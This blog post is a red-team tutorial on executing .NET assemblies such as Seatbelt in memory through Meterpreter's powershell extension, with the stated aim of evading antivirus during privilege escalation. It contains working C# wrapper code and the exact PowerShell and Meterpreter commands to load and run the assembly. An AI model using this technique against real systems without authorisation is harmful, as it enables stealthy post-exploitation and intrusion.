In this blog post I will discuss leveraging Meterpreter’s powershell module to execute .NET assemblies in-memory. Metasploit and Meterpreter are effective and useful tools, but occasionally one encounters a situation where they lack features. Cobalt Strike (a different Command and Control framework) contains an execute-assembly command providing in-memory .NET execution for situations where it lacks built in commands. Meterpreter contains the features required to perform the same behavior, albeit slightly less polished.

For a contrived example of a situation, let’s pretend our Meterpreter session is running in a non-administrative context and our end goal is privilege escalation. Unfortunately all of the default Metasploit PrivEsc checks were not fruitful. A quick solution is to upload additional tools to the target box and run them directly. However, AV products may take issue with the quick solution.

One way to quickly get around this is to avoid writing to disk by executing code entirely in memory. If you’re not familiar with the concept of in-memory execution, essentially it consists of directly mapping a program into memory and executing it, instead of loading from a file on disk. For more details watch the Cobalt Strike In-Memory Evasion series. Even without Cobalt Strike knowledge, the videos do an excellent job introducing the concepts of In-Memory execution.

For this article we will attempt to execute Seatbelt on the target box to help identify various PrivEsc routes. This guide will walk through the steps necessary to execute the Seatbelt assembly in-memory with our current Meterpreter foothold, much like we would do if our C2 framework was Cobalt Strike.

What you’ll need:

Visual Studio Code installed on a Windows box (VMs work well)

.NET 3.5 and/or .NET 4.0 features installed in Visual Studio

Some C# code to run, Seatbelt. Feel free to use your own code

A Meterpreter session on a target Windows box with the corresponding .NET runtime installed

15 - 20 minutes

Building the C# Project

First, download the Seatbelt project on the Windows Visual Studio Code VM and open up the included Visual Studio project file Seatbelt.sln. Confirm that everything is working as expected by changing the build configuration from “Debug” to “Release” in the Visual Studio project and building the project.

Expected output:

-- CODE lang-xml --1>–––––– Build started: Project: Seatbelt, Configuration: Release Any CPU ––––––

1> Seatbelt –> C:\Users\vmtest\Desktop\Seatbelt–master\Seatbelt\bin\Release\Seatbelt.exe

========== Build: 1 succeeded, 0 failed, 0 up–to–date, 0 skipped ==========

Once built it’s a good idea to run Seatbelt.exe from a powershell prompt just to verify proper execution.

Modifying the Project

A couple minor changes to the source code are required in order to run the program from a Meterpreter session with the powershell module. First modify the accessibility level of the Program class. We are adding an access modifier public to allow us to run the code after being imported as a library (more on that later on).

Change line 155 in Program.cs from:

-- CODE language-clike -- class Program

{

To:

-- CODE language-clike -- public class Program

{

Next add an exported function to call via Meterpreter. One option is to modify the code of the Seatbelt program and export some of the already written functions. Another option is to provide a wrapper around Main, redirect the Console.stdout stream and interact with the wrapper function from the powershell module. This article will follow the second approach, but there are numerous possibilities here. Add the following function to Seatbelt's Program.cs:

At the top add the required imports

-- CODE language-clike --using System.IO;

using System.Text;

Lines 6816 - 6835 (right before static void Main)

-- CODE language-clike --public static string BuckleUp()

{

MemoryStream stream = new MemoryStream();

StreamWriter sw = new StreamWriter(stream);

TextWriter old_stdout = Console.Out;

Console.SetOut(sw);



/* hard coded command line arguments */

string[] args = "all".Split(null);

Main(args);



Console.SetOut(old_stdout);

sw.Flush();

string output = Encoding.ASCII.GetString(stream.ToArray());

sw.Close();

return output;

}

There are a couple important parts of the code to note. Two modifiers are included, One, The function declaration is public as the function is to be called externally (from the powershell module in Meterpreter), and two, The field modifier static is included so the function is part of the type’s state, rather than the object’s state.

The code returns a string to avoid issues with stdout not displaying in the Metasploit console when executing from the powershell module. The returned string consists of everything Seatbelt writes to the Console. The BuckleUp function changes the default stdout stream to an in memory buffer, and then executes Seatbelt’s Main function with a hard-coded command line. After Seatbelt completes, the buffer is flushed and the string is returned as output. This is definitely a “hacky” approach, but avoids lots of modification to the Seatbelt source and can easily be extended to many other console application post-ex projects.

Now rebuild the Seatbelt project (or your own project) in its Release configuration. No changes to the configuration are necessary, it can still be built as an .NET executable.

Loading and Testing with Powershell

Before loading with Meterpreter, test locally on the VM. Open up a Powershell prompt and load the file with the following command.

-- CODE language-shell --Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.



PS C:\Users\vmtest> [Reflection.Assembly]::LoadFile("C:\Users\vmtest\Desktop\Seatbelt–master\Seatbelt\bin\Release\Seatbelt.exe")



GAC Version Location

––– ––––––– ––––––––

False v2.0.50727 C:\Users\vmtest\Desktop\Seatbelt–master\Seatbelt\bin\Release\Seatbelt.exe



PS C:\Users\vmtest> [Seatbelt.Program]::BuckleUp("all")

If that worked everything is all set for executing with Meterpreter.

Loading with Meterpreter

Copy your .NET executable to your Meterpreter server and change the extension from .exe to .dll. Metasploit’s powershell_import will refuse to load the file if does not end with .dll (even if it contains exported functions). Then interact with the session and run the following commands:

-- CODE language-shell --msf5 exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1…



meterpreter > load powershell

Loading extension powershell…Success.

meterpreter > powershell_import Seatbelt.dll

[+] File successfully imported. No result was returned.

The powershell extension is now loaded and the C# Seatbelt assembly has been imported into the current session. Now we can interact with the exported function in the same way as on the VM.

-- CODE language-shell --meterpreter > powershell_execute [Seatbelt.Program]::BuckleUp()

And after a few seconds:

-- CODE language-xml --[+] Command execution completed:





%&&@@@&&

&&&&&&&%%%, #&&@@@@@@%%%%%%###############%

&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%

%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((

#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((

#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((

#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((

#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####

###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####

#####%###################### %%%.. @////(((&%%%%%%%################

&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*

&%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%,

#%%%%##,





=== Running System Triage Checks ===

...

clipped Seatbelt output

...

Final Thoughts

In memory execution is a useful tool for an attacker’s arsenal. Using Meterpreter, we leveraged our initial foothold on the Windows machine and executed a .NET assembly in memory. Hopefully with the additional context provided from Seatbelt a privesc is now within reach. The procedure demonstrated here can be extended to other C# post exploitation projects (Bloodhound) or even custom built ones.

References